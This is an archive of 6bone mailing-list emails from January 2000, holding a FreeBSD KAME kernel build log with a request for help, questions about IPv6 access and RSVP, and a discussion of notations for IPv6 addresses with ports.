 ../../vm/vm_mmap.c  ../../vm/vm_object.c ../../vm/vm_page.c=
 ../../vm/vm_pageout.c  ../../vm/vm_pager.c ../../vm/vm_swap.c=
 ../../vm/vm_unix.c  ../../vm/vnode_pager.c ../../vm/vm_zone.c=
 ../../dev/fb/fb.c  ../../dev/fb/splash.c ../../dev/kbd/atkbd.c=
 ../../dev/kbd/atkbdc.c  ../../dev/kbd/kbd.c ../../dev/syscons/syscons.c =
 ../../dev/syscons/scvidctl.c ../../dev/syscons/scvesactl.c =
 ../../i386/apm/apm.c ../../i386/eisa/dpt_eisa.c ../../i386/eisa/3c5x9.c =
 ../../i386/eisa/adv_eisa.c ../../i386/eisa/ahc_eisa.c =
 ../../i386/eisa/ahb.c ../../i386/eisa/bt_eisa.c  ../../i386/eisa/eisaconf.c=
 ../../i386/eisa/if_vx_eisa.c  ../../i386/i386/atomic.c=
 ../../i386/i386/autoconf.c  ../../i386/i386/bios.c=
 ../../i386/i386/busdma_machdep.c  ../../i386/i386/cons.c=
 ../../i386/i386/elf_machdep.c  ../../i386/i386/i686_mem.c=
 ../../i386/i386/identcpu.c  ../../i386/i386/in_cksum.c=
 ../../i386/i386/initcpu.c  ../../i386/i386/machdep.c=
 ../../i386/i386/math_emulate.c  ../../i386/i386/mem.c=
 ../../i386/i386/pmap.c  ../../i386/i386/procfs_machdep.c=
 ../../i386/i386/sys_machdep.c  ../../i386/i386/trap.c=
 ../../i386/i386/userconfig.c  ../../i386/i386/vm_machdep.c=
 ../../i386/isa/adv_isa.c  ../../i386/isa/aha_isa.c=
 ../../i386/isa/atkbd_isa.c  ../../i386/isa/atkbdc_isa.c=
 ../../i386/isa/bt_isa.c  ../../i386/isa/clock.c=
 ../../i386/isa/diskslice_machdep.c  ../../i386/isa/elink.c=
 ../../i386/isa/fd.c ../../i386/isa/if_cs.c  ../../i386/isa/if_ed.c=
 ../../i386/isa/if_ep.c ../../i386/isa/if_ex.c  ../../i386/isa/if_fe.c=
 ../../i386/isa/if_ie.c ../../i386/isa/if_le.c  ../../i386/isa/if_lnc.c=
 ../../i386/isa/if_ze.c ../../i386/isa/if_zp.c  ../../i386/isa/ipl_funcs.c=
 ../../i386/isa/intr_machdep.c  ../../i386/isa/isa.c ../../i386/isa/mcd.c=
 ../../i386/isa/npx.c  ../../i386/isa/matcd/matcd.c ../../i386/isa/pcibus.c =
 ../../i386/isa/pcicx.c ../../i386/isa/pnp.c ../../i386/isa/ppc.c =
 ../../i386/isa/psm.c ../../i386/isa/random_machdep.c ../../i386/isa/scd.c =
 ../../i386/isa/sio.c ../../i386/isa/syscons_isa.c ../../i386/isa/vesa.c =
 ../../i386/isa/vga_isa.c ../../i386/isa/wd.c ../../i386/isa/atapi.c =
 ../../i386/isa/atapi-cd.c ../../i386/isa/wfd.c ../../i386/isa/wt.c =
 ../../libkern/bcd.c ../../libkern/divdi3.c ../../libkern/inet_ntoa.c =
 ../../libkern/index.c ../../libkern/moddi3.c ../../libkern/qdivrem.c =
 ../../libkern/qsort.c ../../libkern/random.c ../../libkern/rindex.c =
 ../../libkern/scanc.c ../../libkern/skpc.c ../../libkern/strcat.c =
 ../../libkern/strcmp.c ../../libkern/strcpy.c ../../libkern/strlen.c =
 ../../libkern/strncmp.c ../../libkern/strncpy.c ../../libkern/udivdi3.c =
 ../../libkern/umoddi3.c ../../pci/ide_pci.c swapkernel.c ioconf.c param.c=
 vnode_if.c config.c
mkdep -a -f .newdep -O -Wreturn-type -Wcomment -Wredundant-decls -Wimplicit =
 -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes  -Wpointer-arith=
 -Winline -Wuninitialized -Wformat -Wunused  -fformat-extensions -ansi =
 -nostdinc -I- -I. -I../.. -I../../../include  -DKERNEL -DVM_STACK -include=
 opt_global.h -D_KERNEL ../../i386/i386/genassym.c
env MKDEP_CPP=3D"cc -E"  mkdep -a -f .newdep -x assembler-with-cpp -DLOCORE=
 -O -Wreturn-type -Wcomment -Wredundant-decls -Wimplicit  -Wnested-externs=
 -Wstrict-prototypes -Wmissing-prototypes  -Wpointer-arith -Winline=
 -Wuninitialized -Wformat -Wunused  -fformat-extensions -ansi  -nostdinc -I-=
 -I. -I../.. -I../../../include  -DKERNEL -DVM_STACK -include opt_global.h=
 -D_KERNEL -elf ../../i386/apm/apm_setup.s ../../i386/i386/bioscall.s =
 ../../i386/i386/exception.s ../../i386/i386/globals.s =
 ../../i386/i386/support.s ../../i386/i386/swtch.s ../../i386/i386/locore.s
rm -f .depend
mv -f .newdep .depend
saturno# exit
exit

Script done on Mon Jan 10 17:57:57 2000

--=====================_947559856==_
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********************************
*        Luciano Rabelo        *
*     Analista de Sistemas     *
*   Salvador - Bahia - Brasil  *
*   http://www.rabelo.eti.br/  *
*      lrcp@rabelo.eti.br      *
*        UIN - 8642704         *
********************************

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   X  ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL 
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--=====================_947559856==_--


From 6bone-owner  Mon Jan 10 17:26:38 2000
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Date: Mon, 10 Jan 2000 23:17:51 -0200
To: 6bone@ISI.EDU, users@ipv6.org, freebsd-net@FreeBSD.org
From: Boozy <boozy@rabelo.eti.br>
Subject: Problemas na instalacao do KAME
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Hello,

I have downloaded the last stable version of KAME for FreeBSD (19991213),
but I didn't get sucess.
I extracted the tgx file into /usr/kame and copied the file GENERIC.v6 to
saturno.v6 without any changes. I ran /usr/sbin/config saturno.v6 without
any problems. However some erros occurred when I tried to execute make depend.
Can anybody help me? I'm using FreeBSD 3.3 and I'm sending the file created
by the script command.

[]

Luciano Rabelo


--=====================_947560671==_
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Script started on Mon Jan 10 17:52:51 2000
saturno# pwd
/usr/kame/freebsd3
saturno# cd sys/i386/conf
saturno# cp GENERIC.v6 saturno.v6
saturno# /usr/sbin/config saturno.v6
Don't forget to do a ``make depend''
Kernel build directory is ../../compile/saturno.v6
saturno# cd ../../compile/saturno.v6/
saturno# make depend
cc -c -O -Wreturn-type -Wcomment -Wredundant-decls -Wimplicit =
 -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes  -Wpointer-arith=
 -Winline -Wuninitialized -Wformat -Wunused  -fformat-extensions -ansi =
 -nostdinc -I- -I. -I../.. -I../../../include  -DKERNEL -DVM_STACK -include=
 opt_global.h -D_KERNEL ../../i386/i386/genassym.c
cc -O -Wreturn-type -Wcomment -Wredundant-decls -Wimplicit  -Wnested-externs=
 -Wstrict-prototypes -Wmissing-prototypes  -Wpointer-arith -Winline=
 -Wuninitialized -Wformat -Wunused  -fformat-extensions -ansi  -nostdinc -I-=
 -I. -I../.. -I../../../include  -DKERNEL -DVM_STACK -include opt_global.h=
 -D_KERNEL genassym.o -o genassym
./genassym >assym.s
rm -f param.c
cp ../../conf/param.c .
sh ../../kern/vnode_if.sh ../../kern/vnode_if.src
make -f ../../dev/aic7xxx/Makefile MAKESRCPATH=3D../../dev/aic7xxx
Warning: Object directory not changed from original=
 /usr/kame/freebsd3/sys/compile/saturno.v6
yacc -d ../../dev/aic7xxx/aicasm_gram.y
mv y.tab.c aicasm_gram.c
cc -O -pipe -I/usr/include -I.   -c aicasm_gram.c
lex -t  ../../dev/aic7xxx/aicasm_scan.l > aicasm_scan.c
cc -O -pipe -I/usr/include -I.   -c aicasm_scan.c
cc -O -pipe -I/usr/include -I.   -c ../../dev/aic7xxx/aicasm.c
cc -O -pipe -I/usr/include -I.   -c ../../dev/aic7xxx/aicasm_symbol.c
cc -O -pipe -I/usr/include -I.    -o aicasm aicasm_gram.o aicasm_scan.o=
 aicasm.o aicasm_symbol.o  -ll
./aicasm -nostdinc -I- -I. -I../.. -I../../../include -o aic7xxx_seq.h -r=
 aic7xxx_reg.h ../../dev/aic7xxx/aic7xxx.seq
./aicasm: 709 instructions used
perl5 ../../kern/makedevops.pl -c ../../kern/device_if.m
perl5 ../../kern/makedevops.pl -h ../../kern/device_if.m
perl5 ../../kern/makedevops.pl -c ../../kern/bus_if.m
perl5 ../../kern/makedevops.pl -h ../../kern/bus_if.m
rm -f .newdep
mkdep -a -f .newdep -O -Wreturn-type -Wcomment -Wredundant-decls -Wimplicit =
 -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes  -Wpointer-arith=
 -Winline -Wuninitialized -Wformat -Wunused  -fformat-extensions -ansi =
 -nostdinc -I- -I. -I../.. -I../../../include  -DKERNEL -DVM_STACK -include=
 opt_global.h -D_KERNEL -elf device_if.c bus_if.c ../../cam/cam.c=
 ../../cam/cam_xpt.c  ../../cam/cam_extend.c ../../cam/cam_queue.c=
 ../../cam/cam_periph.c  ../../cam/cam_sim.c ../../cam/scsi/scsi_all.c=
 ../../cam/scsi/scsi_da.c  ../../cam/scsi/scsi_sa.c ../../cam/scsi/scsi_cd.c=
  ../../cam/scsi/scsi_pass.c ../../dev/advansys/advansys.c =
 ../../dev/advansys/advlib.c ../../dev/advansys/advmcode.c =
 ../../dev/advansys/adwcam.c ../../dev/advansys/adwlib.c =
 ../../dev/advansys/adwmcode.c ../../dev/aha/aha.c =
 ../../dev/aic7xxx/aic7xxx.c ../../dev/aic7xxx/93cx6.c =
 ../../dev/buslogic/bt.c ../../dev/isp/isp_freebsd.c ../../dev/isp/isp.c =
 ../../dev/dpt/dpt_scsi.c ../../dev/ppbus/lpt.c ../../dev/ppbus/ppb_base.c =
 ../../dev/ppbus/ppb_1284.c ../../dev/ppbus/ppb_msq.c =
 ../../dev/ppbus/ppbconf.c ../../dev/ppbus/ppi.c ../../dev/ppbus/if_plip.c =
 ../../dev/vx/if_vx.c ../../isofs/cd9660/cd9660_bmap.c =
 ../../isofs/cd9660/cd9660_lookup.c ../../isofs/cd9660/cd9660_node.c =
 ../../isofs/cd9660/cd9660_rrip.c ../../isofs/cd9660/cd9660_util.c =
 ../../isofs/cd9660/cd9660_vfsops.c ../../isofs/cd9660/cd9660_vnops.c =
 ../../kern/imgact_aout.c ../../kern/imgact_elf.c ../../kern/imgact_gzip.c =
 ../../kern/imgact_shell.c ../../kern/inflate.c ../../kern/init_main.c =
 ../../kern/init_sysent.c ../../kern/kern_intr.c ../../kern/kern_module.c =
 ../../kern/kern_linker.c ../../kern/link_aout.c ../../kern/link_elf.c =
 ../../kern/kern_acct.c ../../kern/kern_clock.c ../../kern/kern_conf.c =
 ../../kern/kern_descrip.c ../../kern/kern_environment.c =
 ../../kern/kern_exec.c ../../kern/kern_exit.c ../../kern/kern_fork.c =
 ../../kern/kern_ktrace.c ../../kern/kern_lock.c ../../kern/kern_lockf.c =
 ../../kern/kern_malloc.c ../../kern/kern_mib.c ../../kern/kern_ntptime.c =
 ../../kern/kern_physio.c ../../kern/kern_proc.c ../../kern/kern_prot.c =
 ../../kern/kern_resource.c ../../kern/kern_shutdown.c =
 ../../kern/kern_sig.c ../../kern/kern_subr.c ../../kern/kern_synch.c =
 ../../kern/kern_syscalls.c ../../kern/kern_sysctl.c  ../../kern/kern_time.c=
 ../../kern/kern_timeout.c ../../kern/kern_xxx.c  ../../kern/md5c.c=
 ../../kern/subr_autoconf.c ../../kern/subr_bus.c  ../../kern/subr_devstat.c=
 ../../kern/subr_diskslice.c  ../../kern/subr_dkbad.c ../../kern/subr_log.c=
 ../../kern/subr_module.c  ../../kern/subr_prf.c ../../kern/subr_prof.c=
 ../../kern/subr_rlist.c  ../../kern/subr_scanf.c ../../kern/subr_xxx.c=
 ../../kern/sys_generic.c  ../../kern/sys_pipe.c ../../kern/sys_process.c=
 ../../kern/subr_rman.c  ../../kern/sys_socket.c ../../kern/sysv_ipc.c=
 ../../kern/sysv_msg.c  ../../kern/sysv_sem.c ../../kern/sysv_shm.c=
 ../../kern/tty.c  ../../kern/tty_compat.c ../../kern/tty_conf.c=
 ../../kern/tty_pty.c  ../../kern/tty_subr.c ../../kern/tty_tty.c=
 ../../kern/uipc_domain.c  ../../kern/uipc_mbuf.c ../../kern/uipc_proto.c=
 ../../kern/uipc_socket.c  ../../kern/uipc_socket2.c=
 ../../kern/uipc_syscalls.c  ../../kern/uipc_usrreq.c ../../kern/vfs_bio.c=
 ../../kern/vfs_cache.c  ../../kern/vfs_cluster.c ../../kern/vfs_conf.c=
 ../../kern/vfs_default.c  ../../kern/vfs_init.c ../../kern/vfs_lookup.c=
 ../../kern/vfs_subr.c  ../../kern/vfs_syscalls.c ../../kern/vfs_vnops.c =
 ../../kern/kern_threads.c ../../kern/vfs_aio.c =
 ../../miscfs/deadfs/dead_vnops.c ../../miscfs/fifofs/fifo_vnops.c =
 ../../miscfs/procfs/procfs_ctl.c ../../miscfs/procfs/procfs_fpregs.c =
 ../../miscfs/procfs/procfs_map.c ../../miscfs/procfs/procfs_mem.c =
 ../../miscfs/procfs/procfs_note.c ../../miscfs/procfs/procfs_regs.c =
 ../../miscfs/procfs/procfs_status.c ../../miscfs/procfs/procfs_subr.c =
 ../../miscfs/procfs/procfs_type.c ../../miscfs/procfs/procfs_vfsops.c =
 ../../miscfs/procfs/procfs_vnops.c ../../miscfs/specfs/spec_vnops.c =
 ../../msdosfs/msdosfs_conv.c ../../msdosfs/msdosfs_denode.c =
 ../../msdosfs/msdosfs_fat.c ../../msdosfs/msdosfs_lookup.c =
 ../../msdosfs/msdosfs_vfsops.c ../../msdosfs/msdosfs_vnops.c =
 ../../net/bpf.c ../../net/bpf_filter.c ../../net/altq_conf.c ../../net/if.c=
  ../../net/if_ethersubr.c ../../net/if_loop.c ../../net/if_media.c =
 ../../net/if_mib.c ../../net/if_ppp.c ../../net/if_sl.c ../../net/if_tun.c =
 ../../net/ppp_tty.c ../../net/radix.c ../../net/raw_cb.c =
 ../../net/raw_usrreq.c ../../net/route.c ../../net/rtsock.c =
 ../../net/slcompress.c ../../net/zlib.c ../../netinet/altq_afmap.c =
 ../../netinet/altq_blue.c ../../netinet/altq_cbq.c =
 ../../netinet/altq_cdnr.c ../../netinet/altq_fifoq.c =
 ../../netinet/altq_hfsc.c ../../netinet/altq_localq.c =
 ../../netinet/altq_red.c ../../netinet/altq_rio.c =
 ../../netinet/altq_rmclass.c ../../netinet/altq_subr.c =
 ../../netinet/altq_wfq.c ../../netinet/if_ether.c ../../netinet/igmp.c =
 ../../netinet/in.c ../../netinet/in_pcb.c ../../netinet/in_proto.c =
 ../../netinet/in_rmx.c ../../netinet/ip_flow.c ../../netinet/ip_icmp.c =
 ../../netinet/ip_input.c ../../netinet/ip_mroute.c =
 ../../netinet/ip_output.c ../../netinet/raw_ip.c  ../../netinet/tcp_input.c=
 ../../netinet/tcp_output.c  ../../netinet/tcp_subr.c=
 ../../netinet/tcp_timer.c  ../../netinet/tcp_usrreq.c=
 ../../netinet/udp_usrreq.c ../../netkey/key.c  ../../netkey/key_debug.c=
 ../../netkey/keysock.c ../../nfs/nfs_bio.c  ../../nfs/nfs_node.c=
 ../../nfs/nfs_nqlease.c ../../nfs/nfs_serv.c  ../../nfs/nfs_socket.c=
 ../../nfs/nfs_srvcache.c ../../nfs/nfs_subs.c  ../../nfs/nfs_syscalls.c=
 ../../nfs/nfs_vfsops.c ../../nfs/nfs_vnops.c  ../../pci/amd.c=
 ../../pci/adv_pci.c ../../pci/adw_pci.c ../../pci/ahc_pci.c =
 ../../pci/bt_pci.c ../../pci/dpt_pci.c ../../pci/if_al.c ../../pci/if_ax.c =
 ../../pci/if_de.c ../../pci/if_ed_p.c ../../pci/if_fxp.c =
 ../../pci/if_lnc_p.c ../../pci/if_mx.c ../../pci/if_pn.c ../../pci/if_rl.c =
 ../../pci/if_sf.c ../../pci/if_tl.c ../../pci/if_tx.c ../../pci/if_vr.c =
 ../../pci/if_vx_pci.c ../../pci/if_wb.c ../../pci/if_xl.c =
 ../../pci/isp_pci.c ../../pci/ncr.c ../../pci/pci.c ../../pci/pci_compat.c =
 ../../pci/pcisupport.c ../../pci/wdc_p.c ../../posix4/posix4_mib.c =
 ../../posix4/p1003_1b.c ../../net/if_dummy.c ../../net/if_gif.c =
 ../../net/net_osdep.c ../../netinet/in_gif.c ../../netinet6/in6_gif.c =
 ../../netinet/ip_ecn.c ../../netinet6/in6.c ../../netinet6/in6_ifattach.c =
 ../../netinet6/in6_cksum.c ../../netinet6/in6_pcb.c =
 ../../netinet6/in6_proto.c ../../netinet6/in6_rmx.c =
 ../../netinet6/in6_prefix.c ../../netinet6/dest6.c ../../netinet6/frag6.c =
 ../../netinet6/icmp6.c ../../netinet6/ip6_input.c =
 ../../netinet6/ip6_forward.c ../../netinet6/ip6_mroute.c =
 ../../netinet6/ip6_output.c ../../netinet6/route6.c ../../netinet6/mld6.c =
 ../../netinet6/nd6.c ../../netinet6/nd6_nbr.c ../../netinet6/nd6_rtr.c =
 ../../netinet6/raw_ip6.c ../../netinet6/udp6_usrreq.c =
 ../../netinet6/ah_core.c ../../netinet6/esp_core.c ../../netinet6/ipsec.c =
 ../../netinet6/ah_output.c ../../netinet6/ah_input.c =
 ../../netinet6/esp_output.c ../../netinet6/esp_input.c =
 ../../netinet6/ipcomp_core.c ../../netinet6/ipcomp_input.c =
 ../../netinet6/ipcomp_output.c ../../crypto/sha1.c =
 ../../crypto/des/des_cbc.c ../../crypto/des/des_ecb.c =
 ../../crypto/des/des_setkey.c ../../crypto/des/des_3cbc.c =
 ../../crypto/blowfish/bf_cbc.c ../../crypto/blowfish/bf_cbc_m.c =
 ../../crypto/blowfish/bf_enc.c ../../crypto/blowfish/bf_skey.c =
 ../../crypto/cast128/cast128.c ../../crypto/cast128/cast128_cbc.c =
 ../../crypto/rc5/rc5.c ../../crypto/rc5/rc5_cbc.c =
 ../../ufs/ffs/ffs_alloc.c ../../ufs/ffs/ffs_balloc.c =
 ../../ufs/ffs/ffs_inode.c ../../ufs/ffs/ffs_softdep_stub.c =
 ../../ufs/ffs/ffs_subr.c ../../ufs/ffs/ffs_tables.c =
 ../../ufs/ffs/ffs_vfsops.c ../../ufs/ffs/ffs_vnops.c =
 ../../ufs/mfs/mfs_vfsops.c ../../ufs/mfs/mfs_vnops.c =
 ../../ufs/ufs/ufs_bmap.c ../../ufs/ufs/ufs_disksubr.c =
 ../../ufs/ufs/ufs_ihash.c ../../ufs/ufs/ufs_inode.c =
 ../../ufs/ufs/ufs_lookup.c ../../ufs/ufs/ufs_quota.c =
 ../../ufs/ufs/ufs_vfsops.c ../../ufs/ufs/ufs_vnops.c =
 ../../vm/default_pager.c ../../vm/device_pager.c ../../vm/swap_pager.c =
 ../../vm/vm_fault.c ../../vm/vm_glue.c ../../vm/vm_init.c=
 ../../vm/vm_kern.c  ../../vm/vm_map.c ../../vm/vm_meter.c=
 ../../vm/vm_mmap.c  ../../vm/vm_object.c ../../vm/vm_page.c=
 ../../vm/vm_pageout.c  ../../vm/vm_pager.c ../../vm/vm_swap.c=
 ../../vm/vm_unix.c  ../../vm/vnode_pager.c ../../vm/vm_zone.c=
 ../../dev/fb/fb.c  ../../dev/fb/splash.c ../../dev/kbd/atkbd.c=
 ../../dev/kbd/atkbdc.c  ../../dev/kbd/kbd.c ../../dev/syscons/syscons.c =
 ../../dev/syscons/scvidctl.c ../../dev/syscons/scvesactl.c =
 ../../i386/apm/apm.c ../../i386/eisa/dpt_eisa.c ../../i386/eisa/3c5x9.c =
 ../../i386/eisa/adv_eisa.c ../../i386/eisa/ahc_eisa.c =
 ../../i386/eisa/ahb.c ../../i386/eisa/bt_eisa.c  ../../i386/eisa/eisaconf.c=
 ../../i386/eisa/if_vx_eisa.c  ../../i386/i386/atomic.c=
 ../../i386/i386/autoconf.c  ../../i386/i386/bios.c=
 ../../i386/i386/busdma_machdep.c  ../../i386/i386/cons.c=
 ../../i386/i386/elf_machdep.c  ../../i386/i386/i686_mem.c=
 ../../i386/i386/identcpu.c  ../../i386/i386/in_cksum.c=
 ../../i386/i386/initcpu.c  ../../i386/i386/machdep.c=
 ../../i386/i386/math_emulate.c  ../../i386/i386/mem.c=
 ../../i386/i386/pmap.c  ../../i386/i386/procfs_machdep.c=
 ../../i386/i386/sys_machdep.c  ../../i386/i386/trap.c=
 ../../i386/i386/userconfig.c  ../../i386/i386/vm_machdep.c=
 ../../i386/isa/adv_isa.c  ../../i386/isa/aha_isa.c=
 ../../i386/isa/atkbd_isa.c  ../../i386/isa/atkbdc_isa.c=
 ../../i386/isa/bt_isa.c  ../../i386/isa/clock.c=
 ../../i386/isa/diskslice_machdep.c  ../../i386/isa/elink.c=
 ../../i386/isa/fd.c ../../i386/isa/if_cs.c  ../../i386/isa/if_ed.c=
 ../../i386/isa/if_ep.c ../../i386/isa/if_ex.c  ../../i386/isa/if_fe.c=
 ../../i386/isa/if_ie.c ../../i386/isa/if_le.c  ../../i386/isa/if_lnc.c=
 ../../i386/isa/if_ze.c ../../i386/isa/if_zp.c  ../../i386/isa/ipl_funcs.c=
 ../../i386/isa/intr_machdep.c  ../../i386/isa/isa.c ../../i386/isa/mcd.c=
 ../../i386/isa/npx.c  ../../i386/isa/matcd/matcd.c ../../i386/isa/pcibus.c =
 ../../i386/isa/pcicx.c ../../i386/isa/pnp.c ../../i386/isa/ppc.c =
 ../../i386/isa/psm.c ../../i386/isa/random_machdep.c ../../i386/isa/scd.c =
 ../../i386/isa/sio.c ../../i386/isa/syscons_isa.c ../../i386/isa/vesa.c =
 ../../i386/isa/vga_isa.c ../../i386/isa/wd.c ../../i386/isa/atapi.c =
 ../../i386/isa/atapi-cd.c ../../i386/isa/wfd.c ../../i386/isa/wt.c =
 ../../libkern/bcd.c ../../libkern/divdi3.c ../../libkern/inet_ntoa.c =
 ../../libkern/index.c ../../libkern/moddi3.c ../../libkern/qdivrem.c =
 ../../libkern/qsort.c ../../libkern/random.c ../../libkern/rindex.c =
 ../../libkern/scanc.c ../../libkern/skpc.c ../../libkern/strcat.c =
 ../../libkern/strcmp.c ../../libkern/strcpy.c ../../libkern/strlen.c =
 ../../libkern/strncmp.c ../../libkern/strncpy.c ../../libkern/udivdi3.c =
 ../../libkern/umoddi3.c ../../pci/ide_pci.c swapkernel.c ioconf.c param.c=
 vnode_if.c config.c
mkdep -a -f .newdep -O -Wreturn-type -Wcomment -Wredundant-decls -Wimplicit =
 -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes  -Wpointer-arith=
 -Winline -Wuninitialized -Wformat -Wunused  -fformat-extensions -ansi =
 -nostdinc -I- -I. -I../.. -I../../../include  -DKERNEL -DVM_STACK -include=
 opt_global.h -D_KERNEL ../../i386/i386/genassym.c
env MKDEP_CPP=3D"cc -E"  mkdep -a -f .newdep -x assembler-with-cpp -DLOCORE=
 -O -Wreturn-type -Wcomment -Wredundant-decls -Wimplicit  -Wnested-externs=
 -Wstrict-prototypes -Wmissing-prototypes  -Wpointer-arith -Winline=
 -Wuninitialized -Wformat -Wunused  -fformat-extensions -ansi  -nostdinc -I-=
 -I. -I../.. -I../../../include  -DKERNEL -DVM_STACK -include opt_global.h=
 -D_KERNEL -elf ../../i386/apm/apm_setup.s ../../i386/i386/bioscall.s =
 ../../i386/i386/exception.s ../../i386/i386/globals.s =
 ../../i386/i386/support.s ../../i386/i386/swtch.s ../../i386/i386/locore.s
rm -f .depend
mv -f .newdep .depend
saturno# exit
exit

Script done on Mon Jan 10 17:57:57 2000

--=====================_947560671==_
Content-Type: text/plain; charset="us-ascii"


********************************
*        Luciano Rabelo        *
*     Analista de Sistemas     *
*   Salvador - Bahia - Brasil  *
*   http://www.rabelo.eti.br/  *
*      lrcp@rabelo.eti.br      *
*        UIN - 8642704         *
********************************

  /"\ 
  \ / CAMPANHA DA FITA ASCII - CONTRA MAIL HTML 
   X  ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL 
  / \

--=====================_947560671==_--


From 6bone-owner  Mon Jan 10 18:15:22 2000
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Date: Mon, 10 Jan 2000 20:12:43 -0600
From: "Dwayne C . Litzenberger" <dlitz@cheerful.com>
To: Wang Hui <hwang@371.net>
Cc: "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>,
        quake-devel@lists.sourceforge.net, 6bone@ISI.EDU,
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Subject: Re: IPv6 address/port format
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On Tue, Jan 11, 2000 at 09:22:53AM +0800, Wang Hui wrote:
>    I suggest that we use the symbol of `#' to seperate the IP address and=
 =20
> the port *number*.  Since `#' is mostly pronounced as `number'. :)) why
> not 3ffe:3216:2101::1#8080?
>  =20
>  -Wang Hui.
>=20

Let's not use a widely-used comment character to introduce bugs in our scri=
pts.
=20
--=20
"If you continue running Windows, your system may become unstable."
     -- Windows 95 BSOD

Dwayne C. Litzenberger - dlitz@cheerful.com

Please always Cc to me when replying to me on the lists.

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From 6bone-owner  Mon Jan 10 19:59:39 2000
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Message-ID: <01BF5BBE.6277DE80.hansolofalcon@worldnet.att.net>
From: Gregg C Levine <hansolofalcon@worldnet.att.net>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: Resend:Two questions
Date: Mon, 10 Jan 2000 22:59:41 -0500
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Hello from Gregg C Levine usually at Jedi Knight Computers
I am resending this message following because since sending it out, I have 
received nothing in response to it. I believe it happened because of the 
time it was sent, on 12/31/99, what with the usual things, following the 
coming of the millennium, and a strange work week following it. I have 
basically received little or no mail on the questions that I asked. Please 
everyone, do not dismiss them, at least remind me that I am off the topic.
Hello from Gregg C Levine usually at Jedi Knight Computers
I have two questions for the crowd on this mailing list:
The first one is: Is anyone who is US based aware of access for the 6Bone 
project through a dial-up account from a non-participating ISP? This 
service provider AT&T Worldnet, so far has not moved in the direction that 
this list is moving into. (Nor or they even aware of the 6Bone, as of today 
1/10/2000)

The second question is:Is anyone working with the RSVP protocol, either on 
Linux/UNIX/Solaris, or on Windows? Also included on the non-Microsoft side 
is the operating systems for SGI workstations.

Please realize that these are serious questions, as my group and I, are 
looking for new, and noteworthy questions to answer, and solutions to 
provide.
Gregg C Levine mailto:hansolofalcon@worldnet.att.net
"They were in the wrong place, at the wrong time, naturally they became 
heroes."
Princess Leia Organna of Alderann, Senator
"Remember, the Force will be with you."
Obi-Wan(Ben) Kenobi, Jedi Knight and, General, (Retired)
"May the Force be with you." Anonymous

From 6bone-owner  Tue Jan 11 06:21:20 2000
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To: Gregg C Levine <hansolofalcon@worldnet.att.net>
From: Edward Lewis <lewis@tislabs.com>
Subject: Re: Resend:Two questions
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At 10:59 PM -0500 1/10/00, Gregg C Levine wrote:
>The first one is: Is anyone who is US based aware of access for the 6Bone
>project through a dial-up account from a non-participating ISP? This
>service provider AT&T Worldnet, so far has not moved in the direction that
>this list is moving into. (Nor or they even aware of the 6Bone, as of today
>1/10/2000)

I kind of doubt that you will find commercial IPv6 service today.  Speaking
without certainty, the 6Bone is so far an experimental arrangement, vendors
are unlikely to sell access to an experiment (that they don't completely
control).

Another part of the infrastructure still needed to be upgraded is DNS.
There are no DNS servers (in general release) capable of supporting IPv6 in
full.  ISC is working on BIND version 9, and that won't be out (for
testing) for a few months yet.  It will have support for A6 records.

IMHO.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Edward Lewis                                                NAI Labs
Phone: +1 443-259-2352                      Email: lewis@tislabs.com

"Trying is the first step to failure." - Homer Simpson
"No! Try not. Do... or do not. There is no try." - Yoda

Opinions expressed are property of my evil twin, not my employer.



From 6bone-owner  Tue Jan 11 07:49:22 2000
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To: Bill Sommerfeld <sommerfeld@orchard.arlington.ma.us>
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Subject: Re: IPv6 address/port format
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Bill Sommerfeld wrote:
> 
> > "Dwayne C . Litzenberger" <dlitz@cheerful.com> said:
> > > I'm not really knowledgeable about this, but what is a good, standard way
> > > to show address/port shown in IPv4, IPv6, IPX, etc?  I would think
> > > address.:port (dot-colon) would be good (and it already works with domain
> > > names), but I haven't seen this done yet.
> >
> > > Any thoughts?
> >
> >   I've seen people use both "IPv6-addr port" (space sep.) and
> > "IPv6-addr/port".  I think I really like using '/', and haven't yet
> > found a place where that will cause problems except for in URIs.
> 
> It's too easily confused with network prefixes.. (IPv6-addr/prefixlen).
> 
> How am I supposed to know whether 3ffe:1ce1:0:b5::1/64 should be
> parsed as an <address,port> pair or as a network prefix?
> 

The obvious answer is, of course, by context.  If I were to tell you to
connect to 3ffe:1ce1:0:b5::1/64, then you would connect to service 64. 
If I was talking about routing issues, then the 64 would be the prefix
length.

In spite of that, I think the slash is still too problematic once we
get into the WWW.  There are places where the context is ambiguous.  For
example, the following URI should be perfectly reasonable:

http://3ffe:1ce1:0:b5::1/1019/ 

Where 1019 is the directory on the web server that points to some
website I'm hosting.  The only tractable way to solve the problem is to
come up with a different service port method.

Since we're tossing suggestions around, how about putting the service
number is square brackets.  I can't think of a place where that would
hurt us (except at the Unix shell prompt).  Something like
3ffe:1ce1:0:b5::1[1019] would be doable....

Another suggestion would be to reverse the IPv4 semantics for dotted
quad:service.  For example, "3ffe:1ce1:0:b5::1.1019" might work.  Since
there are no valid v4 addresses in the 0.0.0.x or 0.0.1.x blocks, we
wouldn't even have to worry about 32 bit v4 address representations. 
Without at least one more '.', it's fairly obvious that the suffix isn't
an address component.


From 6bone-owner  Tue Jan 11 08:35:38 2000
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Reply-To: stephenb@uk.uu.net
Subject: Re: IPv6 address/port format
To: David Burgess <burgess@mitre.org>
cc: Bill Sommerfeld <sommerfeld@orchard.arlington.ma.us>, 6bone@ISI.EDU
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On 11 Jan, David Burgess wrote:
> 
> 
> Bill Sommerfeld wrote:
>> 
>> > "Dwayne C . Litzenberger" <dlitz@cheerful.com> said:
>> > > I'm not really knowledgeable about this, but what is a good, standard way
>> > > to show address/port shown in IPv4, IPv6, IPX, etc?  I would think
>> > > address.:port (dot-colon) would be good (and it already works with domain
>> > > names), but I haven't seen this done yet.
>> >
>> > > Any thoughts?
>> >
>> >   I've seen people use both "IPv6-addr port" (space sep.) and
>> > "IPv6-addr/port".  I think I really like using '/', and haven't yet
